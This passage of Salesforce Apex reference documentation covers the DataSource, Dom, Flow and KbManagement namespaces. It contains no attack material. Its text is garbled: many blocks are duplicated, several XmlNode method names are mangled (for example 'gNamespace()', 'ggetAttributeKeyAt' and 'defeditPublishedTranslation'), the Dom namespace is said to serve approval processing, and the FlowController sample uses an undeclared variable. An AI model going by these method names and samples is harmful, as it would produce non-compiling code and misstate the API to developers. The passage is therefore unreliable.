public static DataSource.Table get(String name, String labelSingular, String labelPlural, String description, String nameColumn, List<DataSource.Column> columns)
```

Parameters
- **name**
  Type: String
  Name of the external table.
- **labelSingular**
  Type: String
  Singular form of the user-friendly name for the table that appears in the Salesforce user interface.
- **labelPlural**
  Type: String
  Plural form of the user-friendly name for the table that appears in the Salesforce user interface.
description
Type: String
Description of the external table.

description
Type: String
Description of the external table.

nameColumn
Type: String
Name of the table column that becomes the name field of the external object when the administrator syncs the table.

nameColumn
Type: String
Name of the table column that becomes the name field of the external object when the administrator syncs the table.

columns
Type: List<DataSource.Column>
List of table columns.

columns
Type: List<DataSource.Column>
List of table columns.

Return Value
Type: DataSource.Table

Return Value
Type: DataSource.Table

get(name, nameColumn, columns)
Returns the table metadata with the specified parameter values, using the name for the labels and description.

Signature
public static DataSource.Table get(String name, String nameColumn, List<DataSource.Column> columns)

Signature
public static DataSource.Table get(String name, String nameColumn, List<DataSource.Column> columns)

Parameters

name
Type: String
Name of the external table.

name
Type: String
Name of the external table.

nameColumn
Type: String
Name of the table column that becomes the name field of the external object when the administrator syncs the table.

nameColumn
Type: String
Name of the table column that becomes the name field of the external object when the administrator syncs the table.

columns
Type: List<DataSource.Column>
List of table columns.

columns
Type: List<DataSource.Column>
List of table columns.

Return Value
Type: DataSource.Table

Return Value
Type: DataSource.Table

The returned table metadata has these property values.

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td>name</td>
</tr>
<tr>
<td>labelSingular</td>
<td>name</td>
</tr>
<tr>
<td>labelPlural</td>
<td>name</td>
</tr>
</tbody>
</table>
TableResult Class

Contains the results of a search or query.

Namespace

DataSource

IN THIS SECTION:

TableResult Properties

TableResult Methods

TableResult Properties

The following are properties for TableResult.

IN THIS SECTION:

errorMessage

Error message to display to the user.

queryMoreToken

Query token that's used for server-driven paging to determine and fetch the subsequent batch of results. This token is passed back to the Apex data source on subsequent queries in the queryMoreToken property on the QueryContext.

rows

Rows of data.

success

Whether the search or query was successful.

tableName

Name of the table that was queried.

totalSize

The total number of rows that meet the query criteria, even when the external system is requested to return a smaller batch size.

errorMessage

Error message to display to the user.
Signature
public String errorMessage {get; set;}

Property Value
Type: String

queryMoreToken
Query token that’s used for server-driven paging to determine and fetch the subsequent batch of results. This token is passed back to the Apex data source on subsequent queries in the queryMoreToken property on the QueryContext.

Signature
public String queryMoreToken {get; set;}

Property Value
Type: String

rows
Rows of data.

Signature
public List<Map<String, Object>> rows {get; set;}

Property Value
Type: List<Map<String, Object>>

success
Whether the search or query was successful.

Signature
public Boolean success {get; set;}

Property Value
Type: Boolean

tableName
Name of the table that was queried.
Signature
public String tableName {get; set;}

Property Value
Type: String

totalSize
The total number of rows that meet the query criteria, even when the external system is requested to return a smaller batch size.

Signature
public Integer totalSize {get; set;}

Property Value
Type: Integer

TableResult Methods
The following are methods for TableResult.

IN THIS SECTION:

error(errorMessage)
Returns failed search or query results with the provided error message.

get(success, errorMessage, tableName, rows, totalSize)
Returns a subset of data rows in a TableResult with the provided property values.

get(success, errorMessage, tableName, rows)
Returns a subset of data rows in a TableResult with the provided property values and the number of rows in the table.

get(queryContext, rows)
Returns the subset of data rows that meet the query criteria, and the number of rows in the table, in a TableResult.

get(tableSelection, rows)
Returns the subset of data rows that meet the query criteria, and the number of rows in the table, in a TableResult.

error(errorMessage)
Returns failed search or query results with the provided error message.

Signature
public static DataSource.TableResult error(String errorMessage)

Parameters
errorMessage
Type: String
Error message to display to the user.

Return Value

Type: DataSource.TableResult

The returned TableResult has these property values.

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>success</td>
<td>false</td>
</tr>
<tr>
<td>errorMessage</td>
<td>errorMessage</td>
</tr>
<tr>
<td>tableName</td>
<td>null</td>
</tr>
<tr>
<td>rows</td>
<td>null</td>
</tr>
<tr>
<td>rows.size()</td>
<td>0</td>
</tr>
</tbody>
</table>

get(success, errorMessage, tableName, rows, totalSize)

Returns a subset of data rows in a TableResult with the provided property values.

Signature

public static DataSource.TableResult get(Boolean success, String errorMessage, String tableName, List<Map<String, Object>> rows, Integer totalSize)

Parameters

success
Type: Boolean
Whether the search or query was successful.

errorMessage
Type: String
Error message to display to the user.

tableName
Type: String
Name of the table that was queried.

rows
Type: List<Map<String, Object>>
Rows of data.

totalSize
Type: Integer
The total number of rows that meet the query criteria, even when the external system is requested to return a smaller batch size.
Return Value
Type: `DataSource.TableResult`

**get** (*success*, *errorMessage*, *tableName*, *rows*)

Returns a subset of data rows in a `TableResult` with the provided property values and the number of rows in the table.

**Signature**

```
public static DataSource.TableResult get(Boolean success, String errorMessage, String tableName, List<Map<String, Object>> rows)
```

**Parameters**

- **success**
  Type: `Boolean`
  Whether the search or query was successful.

- **errorMessage**
  Type: `String`
  Error message to display to the user.

- **tableName**
  Type: `String`
  Name of the table that was queried.

- **rows**
  Type: `List<Map<String, Object>>`
  Rows of data.

Return Value
Type: `DataSource.TableResult`

**get** (*queryContext*, *rows*)

Returns the subset of data rows that meet the query criteria, and the number of rows in the table, in a `TableResult`.

**Signature**

```
public static DataSource.TableResult get(DataSource.QueryContext queryContext, List<Map<String, Object>> rows)
```

**Parameters**

- **queryContext**
  Type: `DataSource.QueryContext`
  Represents the query to run against a data table.

- **rows**
  Type: `List<Map<String, Object>>`
  Rows of data.
Rows of data.

Return Value
Type: DataSource.TableResult

get(tableSelection, rows)
Returns the subset of data rows that meet the query criteria, and the number of rows in the table, in a TableResult.

Signature
public static DataSource.TableResult get(DataSource.TableSelection tableSelection, List<Map<String, Object>> rows)

Parameters
tableSelection
Type: DataSource.TableSelection
Query details that represent the FROM, ORDER BY, SELECT, and WHERE clauses in a SOQL or SOSL query.

rows
Type: List<Map<String, Object>>
Rows of data.

Return Value
Type: DataSource.TableResult

TableSelection Class
Contains a breakdown of the SOQL or SOSL query. Its properties represent the FROM, ORDER BY, SELECT, and WHERE clauses in the query.

Namespace
DataSource

IN THIS SECTION:
TableSelection Properties

TableSelection Properties
The following are properties for TableSelection.

IN THIS SECTION:
columnsSelected
List of columns to query. Corresponds to the SELECT clause in a SOQL or SOSL query.
filter
Identifies the query filter, which can be a compound filter that has a list of subfilters. The filter corresponds to the WHERE clause in a SOQL or SOSL query.

order
Identifies the order for sorting the query results. Corresponds to the ORDER BY clause in a SOQL or SOSL query.

tableSelected
Name of the table to query. Corresponds to the FROM clause in a SOQL or SOSL query.

columnsSelected
List of columns to query. Corresponds to the SELECT clause in a SOQL or SOSL query.

Signature
public List<DataSource.ColumnSelection> columnsSelected {get; set;}

Property Value
Type: List<DataSource.ColumnSelection>

filter
Identifies the query filter, which can be a compound filter that has a list of subfilters. The filter corresponds to the WHERE clause in a SOQL or SOSL query.

Signature
public DataSource.Filter filter {get; set;}

Property Value
Type: DataSource.Filter

order
Identifies the order for sorting the query results. Corresponds to the ORDER BY clause in a SOQL or SOSL query.

Signature
public List<DataSource.Order> order {get; set;}

Property Value
Type: List<DataSource.Order>

tableSelected
Name of the table to query. Corresponds to the FROM clause in a SOQL or SOSL query.
Signature

public String tableSelected {get; set;}

Property Value

Type: String

UpsertContext Class

An instance of UpsertContext is passed to the upsertRows() method on your Datasource.Connection class. This class provides context information about the upsert request to the implementor of upsertRows().

Namespace

DataSource

Usage

The Apex Connector Framework creates the context for operations. Context is comprised of parameters about the operations, which other methods can use. An instance of the UpsertContext class packages these parameters into an object that can be used when an upsertRows() operation is initiated.

IN THIS SECTION:

UpsertContext Properties

UpsertContext Properties

The following are properties for UpsertContext.

IN THIS SECTION:

rows
List of rows corresponding to the external object records to upsert.

tableSelected
The name of the table to upsert rows in.

rows
List of rows corresponding to the external object records to upsert.

Signature

public List<Map<String,ANY>> rows {get; set;}

Property Value

Type: List<Map<String,Object>>
tableSelected
The name of the table to upsert rows in.

Signature
public String tableSelected {get; set;}

Property Value
Type: String

UpsertResult Class
Represents the result of an upsert operation on an external object record. The result is returned by the upsertRows method of the DataSource.Connection class.

Namespace
DataSource

Usage
An upsert operation on external object records generates an array of objects of type DataSource.UpsertResult. Its methods create result records that indicate whether the upsert operation succeeded or failed.

IN THIS SECTION:
  UpsertResult Properties
  UpsertResult Methods

UpsertResult Properties
The following are properties for UpsertResult.

IN THIS SECTION:
  errorMessage
  The error message that’s generated by a failed upsert operation.
  externalId
  The unique identifier of a row that represents an external object record to upsert.
  success
  Indicates whether a delete operation succeeded or failed.

errorMessage
The error message that’s generated by a failed upsert operation.
Signature
public String errorMessage {get; set;}

Property Value
Type: String

externalId
The unique identifier of a row that represents an external object record to upsert.

Signature
public String externalId {get; set;}

Property Value
Type: String

success
Indicates whether a delete operation succeeded or failed.

Signature
public Boolean success {get; set;}

Property Value
Type: Boolean

UpsertResult Methods
The following are methods for UpsertResult.

IN THIS SECTION:
- equals(obj)
  Maintains the integrity of lists of type UpsertResult by determining the equality of external object records in a list. This method is dynamic and is based on the equals method in Java.
- failure(externalId, errorMessage)
  Creates an upsert result that indicates the failure of a delete request for a given external ID.
- hashCode()
  Maintains the integrity of lists of type UpsertResult by determining the uniqueness of the external object records in a list.
- success(externalId)
  Creates a delete result that indicates the successful completion of an upsert request for a given external ID.
equals(obj)
Maintains the integrity of lists of type UpsertResult by determining the equality of external object records in a list. This method is dynamic and is based on the equals method in Java.

Signature
public Boolean equals(Object obj)

Parameters
obj
Type: Object
External object whose key is to be validated.

Return Value
Type: Boolean

failure(externalId, errorMessage)
Creates an upsert result that indicates the failure of a delete request for a given external ID.

Signature
public static DataSource.UpsertResult failure(String externalId, String errorMessage)

Parameters
externalId
Type: String
The unique identifier of the external object record to upsert.
errorMessage
Type: String
The reason the upsert operation failed.

Return Value
Type: DataSource.UpsertResult
Status result for the upsert operation.

hashCode()
Maintains the integrity of lists of type UpsertResult by determining the uniqueness of the external object records in a list.

Signature
public Integer hashCode()
Return Value
Type: Integer

**success**(externalId)
Creates a delete result that indicates the successful completion of an upsert request for a given external ID.

Signature

```
public static DataSource.UpsertResult success(String externalId)
```

Parameters

- **externalId**
  Type: String
  The unique identifier of the external object record to upsert.

Return Value
Type: DataSource.UpsertResult
Status result of the upsert operation for the external object record with the given external ID.

**DataSource Exceptions**

The DataSource namespace contains exception classes.

All exception classes support built-in methods for returning the error message and exception type. See Exception Class and Built-In Exceptions.

The DataSource namespace contains these exceptions.

<table>
<thead>
<tr>
<th>Exception</th>
<th>Description</th>
<th>Methods</th>
</tr>
</thead>
<tbody>
<tr>
<td>DataSource.DataSourceException</td>
<td>Throw this exception to indicate that an error occurred while communicating with an external data source.</td>
<td>To get the error message and write it to debug log, use the <code>String getMessage()</code> method.</td>
</tr>
<tr>
<td>DataSource.OAuthTokenExpiredException</td>
<td>Throw this exception to indicate that an OAuth token has expired. The system then attempts to refresh the token automatically and restart the query, search, or sync operation.</td>
<td>To get the error message and write it to debug log, use the <code>String getMessage()</code> method.</td>
</tr>
</tbody>
</table>

**Dom Namespace**

The Dom namespace provides classes and methods for approval processing.

The following are the classes in the Dom namespace.
Document Class

Use the Document class to process XML content. You can parse nested XML content that’s up to 50 nodes deep.

XmlNode Class

Use the XmlNode class to work with a node in an XML document.

Namespace

Dom

Usage

One common application is to use it to create the body of a request for HttpRequest or to parse a response accessed by HttpResponse.

Document Constructors

The following are constructors for Document.

Document Class

Document Constructors

Document

The following are constructors for Document.

Document()

Signature

public Document()

Document Methods

The following are methods for Document. All are instance methods.
IN THIS SECTION:

`createRootElement(name, namespace, prefix)`
Creates the top-level root element for a document.

`getRootElement()`
Returns the top-level root element node in the document. If this method returns `null`, the root element has not been created yet.

`load(xml)`
Parse the XML representation of the document specified in the `xml` argument and load it into a document.

`toXmlString()`
Returns the XML representation of the document as a String.

---

**createRootElement(name, namespace, prefix)**

Creates the top-level root element for a document.

**Signature**

```java
public Dom.XmlNode createRootElement(String name, String namespace, String prefix)
```

**Parameters**

- `name`
  Type: String
- `namespace`
  Type: String
- `prefix`
  Type: String

**Return Value**

Type: Dom.XmlNode

**Usage**

For more information about namespaces, see XML Namespaces.

Calling this method more than once on a document generates an error as a document can have only one root element.

**getRootElement()**

Returns the top-level root element node in the document. If this method returns `null`, the root element has not been created yet.

**Signature**

```java
public Dom.XmlNode getRootElement()
```

**Return Value**

Type: Dom.XmlNode
**load(xml)**

Parse the XML representation of the document specified in the `xml` argument and load it into a document.

**Signature**

```java
public Void load(String xml)
```

**Parameters**

- `xml`
  - Type: `String`

**Return Value**

Type: `Void`

**Example**

```java
doc.load(xml);
```

**toXmlString()**

Returns the XML representation of the document as a String.

**Signature**

```java
public String toXmlString()
```

**Return Value**

Type: `String`

---

**XmlNode Class**

Use the `XmlNode` class to work with a node in an XML document.

**Namespace**

`Dom`

**XmlNode Methods**

The following are methods for `XmlNode`. All are instance methods.

- `addChildElement(name, namespace, prefix)`
  - Creates a child element node for this node.
addCommentNode(text)
Creates a child comment node for this node.

addTextNode(text)
Creates a child text node for this node.

getAttribute(key, keyNamespace)
Returns namespacePrefix:attributeValue for the given key and key namespace.

getAttributeCount()
Returns the number of attributes for this node.

getAttributeKeyAt(index)
Returns the attribute key for the given index. Index values start at 0.

getAttributeKeyNsAt(index)
Returns the attribute key namespace for the given index.

getAttributeValue(key, keyNamespace)
Returns the attribute value for the given key and key namespace.

getAttributeValueNs(key, keyNamespace)
Returns the attribute value namespace for the given key and key namespace.

getChildElement(name, namespace)
Returns the child element node for the node with the given name and namespace.

getChildElements()
Returns the child element nodes for this node. This doesn’t include child text or comment nodes.

getChildren()
Returns the child nodes for this node. This includes all node types.

getName()
Returns the element name.

gNamespace()
Returns the namespace of the element.

getNamespaceFor(prefix)
Returns the namespace of the element for the given prefix.

getNodeType()
Returns the node type.

gParent()
Returns the parent of this element.

getPrefixFor(namespace)
Returns the prefix of the given namespace.

gText()
Returns the text for this node.

removeAttribute(key, keyNamespace)
Removes the attribute with the given key and key namespace. Returns true if successful, false otherwise.

removeChild(childNode)
Removes the given child node.
setAttribute(key, value)
Sets the key attribute value.

setAttributeNs(key, value, keyNamespace, valueNamespace)
Sets the key attribute value.

setNamespace(prefix, namespace)
Sets the namespace for the given prefix.

addChildElement(name, namespace, prefix)
Creates a child element node for this node.

**Signature**

```java
public Dom.XmlNode addChildElement(String name, String namespace, String prefix)
```

**Parameters**

- **name**
  Type: `String`
  The `name` argument can't have a `null` value.

- **namespace**
  Type: `String`

- **prefix**
  Type: `String`

**Return Value**

Type: `Dom.XmlNode`

**Usage**

- If the `namespace` argument has a non-`null` value and the `prefix` argument is `null`, the namespace is set as the default namespace.

- If the `prefix` argument is `null`, Salesforce automatically assigns a prefix for the element. The format of the automatic prefix is `nsi`, where `i` is a number. If the `prefix` argument is `' '`, the namespace is set as the default namespace.

addCommentNode(text)
Creates a child comment node for this node.

**Signature**

```java
public Dom.XmlNode addCommentNode(String text)
```

**Parameters**

- **text**
  Type: `String`
The `text` argument can't have a `null` value.

Return Value
Type: `Dom XmlNode`

`addTextNode(text)`
Creates a child text node for this node.

Signature
`public Dom XmlNode addTextNode(String text)`

Parameters
text:
Type: `String`
The `text` argument can't have a `null` value.

Return Value
Type: `Dom XmlNode`

`getAttribute(key, keyNamespace)`
Returns `namespacePrefix:attributeValue` for the given key and key namespace.

Signature
`public String getAttribute(String key, String keyNamespace)`

Parameters
`key`:
Type: `String`

`keyNamespace`:
Type: `String`

Return Value
Type: `String`

Example
For example, for the `<foo a:b="c:d" />` element:

- `getAttribute` returns `c:d`
- `getAttributeValue` returns `d`
getAttributeCount()
Returns the number of attributes for this node.

Signature
public Integer getAttributeCount()

Return Value
Type: Integer

ggetAttributeKeyAt(index)
Returns the attribute key for the given index. Index values start at 0.

Signature
public String getAttributeKeyAt(Integer index)

Parameters
index
Type: Integer

Return Value
Type: String

ggetAttributeKeyNsAt(index)
Returns the attribute key namespace for the given index.

Signature
public String getAttributeKeyNsAt(Integer index)

Parameters
index
Type: Integer

Return Value
Type: String

ggetAttributeValue(key, keyNamespace)
Returns the attribute value for the given key and key namespace.
getAttributeValue

Signature

public String getAttributeValue(String key, String keyNamespace)

Parameters

key
  Type: String

keyNamespace
  Type: String

Return Value

Type: String

Example

For example, for the `<foo a:b="c:d" />` element:

- getAttribute returns c:d
- getAttributeValue returns d

getAttributeValueNs(key, keyNamespace)

Returns the attribute value namespace for the given key and key namespace.

Signature

public String getAttributeValueNs(String key, String keyNamespace)

Parameters

key
  Type: String

keyNamespace
  Type: String

Return Value

Type: String

childElement(name, namespace)

Returns the child element node for the node with the given name and namespace.

Signature

public Dom.XmlNode childElement(String name, String namespace)
Parameters

name
  Type: String
namespace
  Type: String

Return Value
Type: Dom.XmlNode

**getChildElements()**
Returns the child element nodes for this node. This doesn’t include child text or comment nodes.

**Signature**
```
public Dom.XmlNode[] getChildElements()
```

**Return Value**
Type: Dom.XmlNode[]

**getChildren()**
Returns the child nodes for this node. This includes all node types.

**Signature**
```
public Dom.XmlNode[] getChildren()
```

**Return Value**
Type: Dom.XmlNode[]

**getName()**
Returns the element name.

**Signature**
```
public String getName()
```

**Return Value**
Type: String

**getNamespace()**
Returns the namespace of the element. 
**XmlNode Class**

**getNamespace()**

Returns the namespace of the element.

**Signature**

```java
public String getNamespace()
```

**Return Value**

Type: String

**getNamespaceFor(prefix)**

Returns the namespace of the element for the given prefix.

**Signature**

```java
public String getNamespaceFor(String prefix)
```

**Parameters**

`prefix`

Type: String

**Return Value**

Type: String

**getNodeType()**

Returns the node type.

**Signature**

```java
public Dom.XmlNodeType getNodeType()
```

**Return Value**

Type: Dom.XmlNodeType

**getParent()**

Returns the parent of this element.

**Signature**

```java
public Dom.XmlNode getParent()
```

**Return Value**

Type: Dom.XmlNode
**getPrefixFor(namespace)**
Returns the prefix of the given namespace.

**Signature**
```
public String getPrefixFor(String namespace)
```

**Parameters**

- **namespace**
  
  Type: `String`

  The `namespace` argument can't have a `null` value.

**Return Value**

Type: `String`

---

**getText()**
Returns the text for this node.

**Signature**
```
public String getText()
```

**Return Value**

Type: `String`

---

**removeAttribute(key, keyNamespace)**
Removes the attribute with the given key and key namespace. Returns `true` if successful, `false` otherwise.

**Signature**
```
public Boolean removeAttribute(String key, String keyNamespace)
```

**Parameters**

- **key**
  
  Type: `String`

- **keyNamespace**
  
  Type: `String`

**Return Value**

Type: `Boolean`
removeChild(childNode)
Removes the given child node.

Signature
public Boolean removeChild(Dom.XmlNode childNode)

Parameters
childNode
    Type: Dom.XmlNode

Return Value
Type: Boolean

setAttribute(key, value)
Sets the key attribute value.

Signature
public Void setAttribute(String key, String value)

Parameters
key
    Type: String
value
    Type: String

Return Value
Type: Void

setAttributeNs(key, value, keyNamespace, valueNamespace)
Sets the key attribute value.

Signature
public Void setAttributeNs(String key, String value, String keyNamespace, String valueNamespace)

Parameters
key
    Type: String
The Flow namespace provides a class for advanced Visualforce controller access to flows. The following is the class in the Flow namespace.

IN THIS SECTION:

Interview Class
The Flow.Interview class provides advanced Visualforce controller access to flows and the ability to start a flow.

Interview Class
The Flow.Interview class provides advanced Visualforce controller access to flows and the ability to start a flow.

Namespace
Flow
**Usage**

The `Flow.Interview` class is used with Visual Workflow. Use the methods in this class to invoke an autolaunched flow or to enable a Visualforce controller to access a flow variable.

**Example**

The following sample uses the `getVariableValue` method to obtain breadcrumb (navigation) information from the flow embedded in the Visualforce page. If that flow contains subflow elements, and each of the referenced flows also contains a `vaBreadCrumb` variable, the Visualforce page can provide users with breadcrumbs regardless of which flow the interview is running.

```java
public class SampleController {
    // Instance of the flow
    public Flow.Interview.Flow_Template_Gallery myFlow {get; set;}

    public String getBreadCrumb() {
        String aBreadCrumb;
        if (myFlow==null) { return 'Home';}
        else aBreadCrumb = (String) myFlow.getVariableValue('vaBreadCrumb');
        return(aBreadCrumb==null ? 'Home': aBreadCrumb);
    }
}
```

The following includes a sample controller that starts a flow and the corresponding Visualforce page. The Visualforce page contains an input box and a start button. When the user enters a number in the input box and clicks **Start**, the controller's `start` method is called. The button saves the user-entered value to the flow's `input` variable and launches the flow using the `start` method. The flow doubles the value of `input` and assigns it to the `output` variable, and the output label displays the value for `output` by using the `getVariableValue` method.

```java
public class FlowController {
    // Instance of the Flow
    public Flow.Interview.doubler myFlow {get; set;}
    public Double value {get; set;}

    public Double getOutput() {
        if (myFlow == null) return null;
        return (Double)(myFlow.getVariableValue('v1'));
    }

    public void start() {
        Map<String, Object> myMap = new Map<String, Object>();
        myMap.put('v1', input);
        myFlow = new Flow.Interview.doubler(myMap);
        myFlow.start();
    }
}
```
The following is the Visualforce page that uses the sample flow controller.

```apex
<apex:page controller="FlowController">
  <apex:outputLabel id="text">v1 = {!output}</apex:outputLabel>

  <apex:form>
    value : <apex:inputText value="{!output}"/>
    <apex:commandButton action="{!start}" value="Start" reRender="text"/>
  </apex:form>
</apex:page>
```

**Interview Methods**

The following are instance methods for Interview.

IN THIS SECTION:

- `getVariableValue(variableName)`
  Returns the value of the specified flow variable. The flow variable can be in the flow embedded in the Visualforce page, or in a separate flow that is called by a subflow element.

- `start()`
  Invokes an autolaunched flow or user provisioning flow.

**getVariableValue (variableName)**

Returns the value of the specified flow variable. The flow variable can be in the flow embedded in the Visualforce page, or in a separate flow that is called by a subflow element.

**Signature**

`public Object getVariableValue(String variableName)`

**Parameters**

- `variableName`
  Type: `String`
  Specifies the unique name of the flow variable.

**Return Value**

Type: Object

**Usage**

The returned variable value comes from whichever flow the interview is running. If the specified variable can’t be found in that flow, the method returns `null`.

This method checks for the existence of the variable at run time only, not at compile time.
start()
Invokes an autolaunched flow or user provisioning flow.

Signature
public Void start()

Return Value
Type: Void

Usage
This method can be used only with flows that have one of these types.

- Autolaunched Flow
- User Provisioning Flow

For details, see “Flow Types” in the Visual Workflow Guide.

When a flow user invokes an autolaunched flow, the active flow version is run. If there’s no active version, the latest version is run. When a flow admin invokes an autolaunched flow, the latest version is always run.

KbManagement Namespace

The KbManagement namespace provides a class for managing knowledge articles.

The following is the class in the KbManagement namespace.

IN THIS SECTION:

PublishingService Class

Use the methods in the KbManagement.PublishingService class to manage the lifecycle of an article and its translations.

PublishingService Class

Use the methods in the KbManagement.PublishingService class to manage the lifecycle of an article and its translations.

Namespace
KbManagement

Usage

Use the methods in the KbManagement.PublishingService class to manage the following parts of the lifecycle of an article and its translations:

- Publishing
- Updating
- Retrieving
Deleting
Submitting for translation
Setting a translation to complete or incomplete status
Archiving
Assigning review tasks for draft articles or translations

Note: Date values are based on GMT.

To use the methods in this class, you must enable Salesforce Knowledge. See Salesforce Knowledge Implementation Guide for more information on setting up Salesforce Knowledge.

PublishingService Methods

The following are methods for PublishingService. All methods are static.

IN THIS SECTION:

archiveOnlineArticle(articleId, scheduledDate)
Archives an online version of an article. If the specified scheduledDate is null, the article is archived immediately. Otherwise, it archives the article on the scheduled date.

assignDraftArticleTask(articleId, assigneeId, instructions, dueDate, sendEmailNotification)
Assigns a review task related to a draft article.

assignDraftTranslationTask(articleVersionId, assigneeId, instructions, dueDate, sendEmailNotification)
Assigns a review task related to a draft translation.

cancelScheduledArchivingOfArticle(articleId)
Cancels the scheduled archiving of an online article.

cancelScheduledPublicationOfArticle(articleId)
Cancels the scheduled publication of a draft article.

completeTranslation(articleVersionId)
Puts a translation in a completed state that is ready to publish.

deleteArchivedArticle(articleId)
Deletes an archived article.

deleteArchivedArticleVersion(articleId, versionNumber)
Deletes a specific version of an archived article.

deleteDraftArticle(articleId)
Deletes a draft article.

deleteDraftTranslation(articleVersionId)
Deletes a draft translation.

editArchivedArticle(articleId)
Creates a draft article from the archived master version and returns the new draft master version ID of the article.

editOnlineArticle(articleId, unpublish)
Creates a draft article from the online version and returns the new draft master version ID of the article. Also, unpublishes the online article, if unpublish is set to true.
editPublishedTranslation(articleId, language, unpublish)
Creates a draft version of the online translation for a specific language and returns the new draft master version ID of the article. Also, unpublishes the article, if set to true.

publishArticle(articleId, flagAsNew)
Publishes an article. If flagAsNew is set to true, the article is published as a major version.

restoreOldVersion(articleId, versionNumber)
Creates a draft article from an existing online article based on the specified archived version of the article and returns the article version ID.

scheduleForPublication(articleId, scheduledDate)
Schedules the article for publication as a major version. If the specified date is null, the article is published immediately.

setTranslationToIncomplete(articleVersionId)
Sets a draft translation that is ready for publication back to “in progress” status.

submitForTranslation(articleId, language, assigneeId, dueDate)
Submits an article for translation to the specified language. Also assigns the specified user and due date to the submittal and returns new ID of the draft translation.

archiveOnlineArticle(articleId, scheduledDate)
Archives an online version of an article. If the specified scheduledDate is null, the article is archived immediately. Otherwise, it archives the article on the scheduled date.

**Signature**

```java
public static Void archiveOnlineArticle(String articleId, Datetime scheduledDate)
```

**Parameters**

- **articleId**
  Type: String
- **scheduledDate**
  Type: Datetime

**Return Value**

Type: Void

**Example**

```java
String articleId = 'Insert article ID';
 Datetime scheduledDate = Datetime.newInstanceGmt(2012, 12,1,13,30,0);
 KbManagement.PublishingService.archiveOnlineArticle(articleId, scheduledDate);
```

assignDraftArticleTask(articleId, assigneeId, instructions, dueDate, sendEmailNotification)
Assigns a review task related to a draft article.
Signature

```java
public static Void assignDraftArticleTask(String articleId, String assigneeId, String instructions, Datetime dueDate, Boolean sendEmailNotification)
```

Parameters

- `articleId`
  - Type: String
- `assigneeId`
  - Type: String
- `instructions`
  - Type: String
- `dueDate`
  - Type: Datetime
- `sendEmailNotification`
  - Type: Boolean

Return Value

Type: Void

Example

```java
String articleId = 'Insert article ID';
String assigneeId = '';
String instructions = 'Please review this draft.';
Datetime dueDate = Datetime.newInstanceGmt(2012, 12, 1);
KbManagement.PublishingService.assignDraftArticleTask(articleId, assigneeId, instructions, dueDate, true);
```

```java
assignDraftTranslationTask(articleVersionId, assigneeId, instructions, dueDate, sendEmailNotification)
```

Assigns a review task related to a draft translation.

Signature

```java
public static Void assignDraftTranslationTask(String articleVersionId, String assigneeId, String instructions, Datetime dueDate, Boolean sendEmailNotification)
```

Parameters

- `articleVersionId`
  - Type: String
- `assigneeId`
  - Type: String
instructions
  Type: String
dueDate
  Type: Datetime
sendEmailNotification
  Type: Boolean

Return Value
Type: Void

Example
String articleId = 'Insert article ID';
String assigneeId = 'Insert assignee ID';
String instructions = 'Please review this draft.';
Datetime dueDate = Datetime.newInstanceGmt(2012, 12, 1);
KbManagement.PublishingService.assignDraftTranslationTask(articleId, assigneeId,
instructions, dueDate, true);

cancelScheduledArchivingOfArticle(articleId)
Cancels the scheduled archiving of an online article.

Signature
public static Void cancelScheduledArchivingOfArticle(String articleId)

Parameters
articleId
  Type: String

Return Value
Type: Void

Example
String articleId = 'Insert article ID';
KbManagement.PublishingService.cancelScheduledArchivingOfArticle (articleId);

cancelScheduledPublicationOfArticle(articleId)
Cancels the scheduled publication of a draft article.

Signature
public static Void cancelScheduledPublicationOfArticle(String articleId)
Parameters

`articleId`
Type: String

Return Value
Type: Void

Example

```java
String articleId = 'Insert article ID';
KbManagement.PublishingService.cancelScheduledPublicationOfArticle (articleId);
```

`completeTranslation(articleVersionId)`

Puts a translation in a completed state that is ready to publish.

Signature

```java
public static Void completeTranslation(String articleVersionId)
```

Parameters

`articleVersionId`
Type: String

Return Value
Type: Void

Example

```java
String articleVersionId = 'Insert article ID';
KbManagement.PublishingService.completeTranslation(articleVersionId);
```

`deleteArchivedArticle(articleId)`

Deletes an archived article.

Signature

```java
public static Void deleteArchivedArticle(String articleId)
```

Parameters

`articleId`
Type: String
Return Value
Type: Void

Example
```java
String articleId = 'Insert article ID';
KbManagement.PublishingService.deleteArchivedArticle(articleId);
```

deleteArchivedArticleVersion(articleId, versionNumber)
 Deletes a specific version of an archived article.

Signature
```java
public static Void deleteArchivedArticleVersion(String articleId, Integer versionNumber)
```

Parameters
- articleId  
  Type: String
- versionNumber  
  Type: Integer

Return Value
Type: Void

Example
```java
String articleId = 'Insert article ID';
Integer versionNumber = 1;
KbManagement.PublishingService.deleteArchivedArticleVersion(articleId, versionNumber);
```

deleteDraftArticle(articleId)
 Deletes a draft article.

Signature
```java
public static Void deleteDraftArticle(String articleId)
```

Parameters
- articleId  
  Type: String

Return Value
Type: Void
Example

String articleId = 'Insert article ID';
KbManagement.PUBLISHINGSERVICE.deleteDraftArticle(articleId);

deleteDraftTranslation(articleVersionId)

Deletes a draft translation.

Signature

public static Void deleteDraftTranslation(String articleVersionId)

Parameters

articleVersionId
Type: String

Return Value

Type: Void

Example

String articleVersionId = 'Insert article ID';
KbManagement.PUBLISHINGSERVICE.deleteDraftTranslation(articleVersionId);

editArchivedArticle(articleId)

Creates a draft article from the archived master version and returns the new draft master version ID of the article.

Signature

public static String editArchivedArticle(String articleId)

Parameters

articleId
Type: String

Return Value

Type: String

Example

String articleId = 'Insert article ID';
String id = KbManagement.PUBLISHINGSERVICE.editArchivedArticle(articleId);
editOnlineArticle(articleId, unpublish)

Creates a draft article from the online version and returns the new draft master version ID of the article. Also, unpublishes the online article, if unpublish is set to true.

Signature

public static String editOnlineArticle(String articleId, Boolean unpublish)

Parameters

articleId
Type: String

unpublish
Type: Boolean

Return Value

Type: String

Example

String articleId = 'Insert article ID';
String id = KbManagement.PublishingService.editOnlineArticle(articleId, true);

defeditPublishedTranslation(articleId, language, unpublish)

Creates a draft version of the online translation for a specific language and returns the new draft master version ID of the article. Also, unpublishes the article, if set to true.

Signature

public static String editPublishedTranslation(String articleId, String language, Boolean unpublish)

Parameters

articleId
Type: String

language
Type: String

unpublish
Type: Boolean

Return Value

Type: String
Example

```
String articleId = 'Insert article ID';
String language = 'fr';
String id = KbManagement.PublishingService.editPublishedTranslation(articleId, language, true);
```

**publishArticle(articleId, flagAsNew)**

Publishes an article. If `flagAsNew` is set to `true`, the article is published as a major version.

**Signature**

```
public static Void publishArticle(String articleId, Boolean flagAsNew)
```

